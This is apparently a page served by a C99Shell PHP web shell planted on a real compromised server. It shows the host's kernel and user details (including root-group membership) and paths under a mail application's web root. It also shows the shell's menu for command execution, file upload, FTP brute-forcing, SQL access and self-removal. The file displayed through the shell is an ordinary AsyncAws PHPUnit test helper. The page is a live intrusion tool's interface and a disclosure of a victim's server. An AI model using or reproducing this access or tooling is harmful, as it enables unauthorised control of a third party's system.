!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/Test/   drwxr-xr-x
Free 28.7 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestCase.php (3.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace AsyncAws\Core\Test;

use 
AsyncAws\Core\Request;
use 
PHPUnit\Framework\TestCase as PHPUnitTestCase;

/** @psalm-suppress UndefinedClass */
class TestCase extends PHPUnitTestCase
{
    
/**
     * Asserts that two Body documents are equal.
     */
    
public static function assertHttpFormEqualsHttpForm(string $expectedstring $actualstring $message '')
    {
        
$expectedArray preg_split('/[\n&\s]+/'trim($expected));
        
$actualArray preg_split('/[\n&\s]+/'trim($actual));

        
self::assertEqualsCanonicalizing($expectedArray$actualArray$message);
    }

    
/**
     * Asserts that two Body documents are equal.
     */
    
public static function assertUrlEqualsUrl(string $expectedstring $actualstring $message '')
    {
        
$actualUrl parse_url($actual);
        
$expectedUrl parse_url($expected);
        
self::assertSame($expectedUrl['path'] ?? '/'$actualUrl['path'] ?? '/');

        
$expectedQuery = [];
        foreach (
array_filter(explode('&'$expectedUrl['query'] ?? '')) as $item) {
            
$item explode('='$item);
            
$expectedQuery[$item[0]] = urldecode($item[1] ?? '');
        }

        
$actualQuery = [];
        foreach (
array_filter(explode('&'$actualUrl['query'] ?? '')) as $item) {
            
$item explode('='$item);
            
$actualQuery[$item[0]] = urldecode($item[1] ?? '');
        }
        
self::assertEqualsIgnoringCase($expectedQuery$actualQuery);
    }

    
/**
     * Asserts that two Body documents are equal.
     */
    
public static function assertRequestEqualsHttpRequest(string $expectedRequest $actualstring $message '')
    {
        
$expected explode("\n\n"trim($expected));
        
$headers $expected[0];
        
$body $expected[1] ?? '';
        
$headers explode("\n"$headers);
        
array_map('trim'$headers);
        [
$method$url] = explode(' 'array_shift($headers));

        
self::assertSame($method$actual->getMethod());

        
$actualUrl $actual->getUri();
        if (
$actual->getQuery()) {
            
$actualUrl .= false !== strpos($actual->getUri(), '?') ? '&' '?';
            
$actualUrl .= http_build_query($actual->getQuery());
        }
        
self::assertUrlEqualsUrl($url$actualUrl);

        
$expectedHeaders = [];
        foreach (
$headers as $header) {
            [
$key$value] = explode(':'trim($header), 2);
            
$expectedHeaders[strtolower($key)] = trim($value);
        }
        
self::assertEqualsIgnoringCase($expectedHeaders$actual->getHeaders(), $message);

        switch (
$expectedHeaders['content-type'] ?? null) {
            case 
'application/x-www-form-urlencoded':
                
self::assertHttpFormEqualsHttpForm(trim($body), $actual->getBody()->stringify(), $message);

                break;
            case 
'application/json':
            case 
'application/x-amz-json-1.0':
            case 
'application/x-amz-json-1.1':
                if (
'' === trim($body)) {
                    
self::assertSame($body$actual->getBody()->stringify());
                } else {
                    
self::assertJsonStringEqualsJsonString(trim($body), $actual->getBody()->stringify(), $message);
                }

                break;
            case 
'application/xml':
                if (
'' === trim($body)) {
                    
self::assertSame($body$actual->getBody()->stringify());
                } else {
                    
self::assertXmlStringEqualsXmlString(trim($body), $actual->getBody()->stringify(), $message);
                }

                break;
            default:
                
self::assertSame(trim($body), $actual->getBody()->stringify());

                break;
        }
    }
}
if (!
class_exists(PHPUnitTestCase::class)) {
    
class_alias(InternalTestCase::class, PHPUnitTestCase::class);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--